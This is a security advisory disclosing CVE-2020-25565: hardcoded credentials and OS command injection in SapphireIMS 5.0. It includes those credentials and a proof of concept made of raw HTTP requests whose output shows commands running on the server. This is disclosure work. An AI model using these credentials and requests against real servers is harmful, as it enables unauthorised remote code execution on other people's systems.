[CVE-2020-25565] SapphireIMS: Unprivileged user remote command execution on server

Posted on Sep 19, 2020

Description

In SapphireIMS 5.0, it is possible to use the hardcoded credential in clients (username: sapphire, password: ims) and gain access to the portal. Once the access is available, the attacker can inject malicious OS commands on “ping”, “traceroute” and “snmp” functions and execute code on the server.

CVSS 3.0 Base Score

9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Researcher

Tanoy Bose

POC

Request (Command Exec)

```
GET /SapphireIMS/CmdProcess?hostorip=127.0.0.1&pagefrom=Ping&param1=1000&param2=4&
Host: 192.168.191.48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Fire
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=Ni+9V4wVLLkXCe5J0mirr2XX
Connection: close
Upgrade-Insecure-Requests: 1
```

Response

```
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://192.168.191.48/SapphireIMS/./RunCmd.jsp?pagefrom=Ping
Cookie: JSESSIONID=Ni+9V4wVLLkXCe5J0mirr2XX
Content-Length: 0
Date: Wed, 16 Sep 2020 20:51:49 GMT
Connection: close
```

For checking the output of the command, use the JSESSIONID of the above response in the below request.

Request (to Read executed command status)

```
POST /SapphireIMS/PortletClass HTTP/1.1
Host: 192.168.191.48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Fir
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.6.0.3
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 9
Origin: http://192.168.191.48
Cookie: JSESSIONID=Ni+9V4wVLLkXCe5J0mirr2XX
Connection: close
Referer: http://192.168.191.48/SapphireIMS/RunCmd.jsp?pagefrom=Ping

make=Ping
```

Response

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Vary: Accept-Encoding
Vary: Accept-Encoding
Content-Type: text/xml;charset=UTF-8
Date: Wed, 16 Sep 2020 20:51:51 GMT
Connection: close

<tr><td class="gen"><textarea  id="desc" name="desc" cols="100" rows="22" class="
       Host Name . . . . . . . . . . . . : WinDev2008Eval
       Primary Dns Suffix  . . . . . . . :
       Node Type . . . . . . . . . . . . : Mixed
       IP Routing Enabled. . . . . . . . : No
       WINS Proxy Enabled. . . . . . . . : No
    Ethernet adapter Ethernet:
       Connection-specific DNS Suffix  . :
       Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
       Physical Address. . . . . . . . . : 00-15-5D-00-AF-27
       DHCP Enabled. . . . . . . . . . . : Yes
       Autoconfiguration Enabled . . . . : Yes
       Link-local IPv6 Address . . . . . : fe80::1082:834f:7792:5e65%7(Preferred)
       IPv4 Address. . . . . . . . . . . : 192.168.1.109 (Preferred)
       Subnet Mask . . . . . . . . . . . : 255.255.255.0
       Lease Obtained. . . . . . . . . . : Wednesday, September 16, 2020 12:42:55
       Lease Expires . . . . . . . . . . : Thursday, September 17, 2020 12:42:55
       Default Gateway . . . . . . . . . : 192.168.1.1
       DHCP Server . . . . . . . . . . . : 192.168.1.1
       DHCPv6 IAID . . . . . . . . . . . : 83891549
       DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-26-F4-1C-CA-00-15-5D-00-AF
       DNS Servers . . . . . . . . . . . : 192.168.1.1
       NetBIOS over Tcpip. . . . . . . . : Enabled
Wed Sep 16 13:48:59 PDT 2020
Action Completed
</textarea></td></tr><tr><td class="gen"><br><br><input type="button" value="Fini
```

Vulnerability Tracker]

- CVE-2020-25566

Disclosure timelines

- 07 May, 2020 - Vendor informed; failed
- 16 Sept, 2020 - Cert-CC and Cert-In Informed

# CVE-2020-25565 # SapphireIMS # Web application